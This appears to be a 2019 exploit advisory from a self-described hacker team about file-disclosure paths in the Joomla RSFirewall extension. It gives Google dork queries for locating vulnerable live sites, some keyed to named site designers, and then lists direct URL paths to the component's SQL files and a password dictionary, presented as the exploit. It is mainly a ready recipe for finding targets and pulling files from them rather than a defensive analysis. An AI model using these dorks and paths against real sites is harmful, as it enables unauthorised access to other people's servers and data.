####################################################################

# Exploit Title : Joomla RSFirewall Components 2.11.25 Database and Password Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 25/01/2019
# Vendor Homepage : rsjoomla.com
# Software Download Link : extensions.joomla.org/extension/rsfirewall/
# Software Information Link : rsjoomla.com/joomla-extensions/joomla-security.html
# Software Price : 50 Euro
# Affected Versions : 2.11.25 and 2.5.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_rsfirewall''
inurl:''/administrator/components/com_rsfirewall/''
intext:Hosted & Designed By Suryanandan.net
intext:Designed by Artilabio
# Vulnerability Type : CWE-200 [ Information Exposure ]
CWE-256 [ Unprotected Storage of Credentials ]

####################################################################

# Description :
***************

* Joomla RSFirewall Components 2.11.25 and 2.50 versions has information exposure 

vulnerability that is intentional or unintentional disclosure of information to an actor that is 

not explicitly authorized to have access to that information.

* Storing passwords in plaintext may result in a system compromise.

####################################################################

# Unprotected Storage of Credentials Exploit :
***************************************

/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt

# Database Disclosure Exploit :
***************************

/administrator/components/com_rsfirewall/sql/mysql/configuration.data.sql
/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
/administrator/components/com_rsfirewall/sql/mysql/exceptions.sql 
/administrator/components/com_rsfirewall/sql/mysql/feeds.data.sql
/administrator/components/com_rsfirewall/sql/mysql/feeds.sql
/administrator/components/com_rsfirewall/sql/mysql/hashes.data.sql 
/administrator/components/com_rsfirewall/sql/mysql/hashes.sql
/administrator/components/com_rsfirewall/sql/mysql/ignored.sql 
/administrator/components/com_rsfirewall/sql/mysql/lists.sql
/administrator/components/com_rsfirewall/sql/mysql/logs.sql
/administrator/components/com_rsfirewall/sql/mysql/offenders.sql
/administrator/components/com_rsfirewall/sql/mysql/signatures.data.sql
/administrator/components/com_rsfirewall/sql/mysql/signatures.sql 
/administrator/components/com_rsfirewall/sql/mysql/snapshots.sql
/administrator/components/com_rsfirewall/sql/mysql/uninstall.sql 
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql 
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.sql
/administrator/components/com_rsfirewall/sql/sqlazure/exceptions.sql
/administrator/components/com_rsfirewall/sql/sqlazure/feeds.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/feeds.sql
/administrator/components/com_rsfirewall/sql/sqlazure/hashes.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/hashes.sql
/administrator/components/com_rsfirewall/sql/sqlazure/ignored.sql
/administrator/components/com_rsfirewall/sql/sqlazure/lists.sql
/administrator/components/com_rsfirewall/sql/sqlazure/logs.sql
/administrator/components/com_rsfirewall/sql/sqlazure/offenders.sql
/administrator/components/com_rsfirewall/sql/sqlazure/signatures.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/signatures.sql
/administrator/components/com_rsfirewall/sql/sqlazure/snapshots.sql 
/administrator/components/com_rsfirewall/sql/sqlazure/uninstall.sql 

####################################################################

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

####################################################################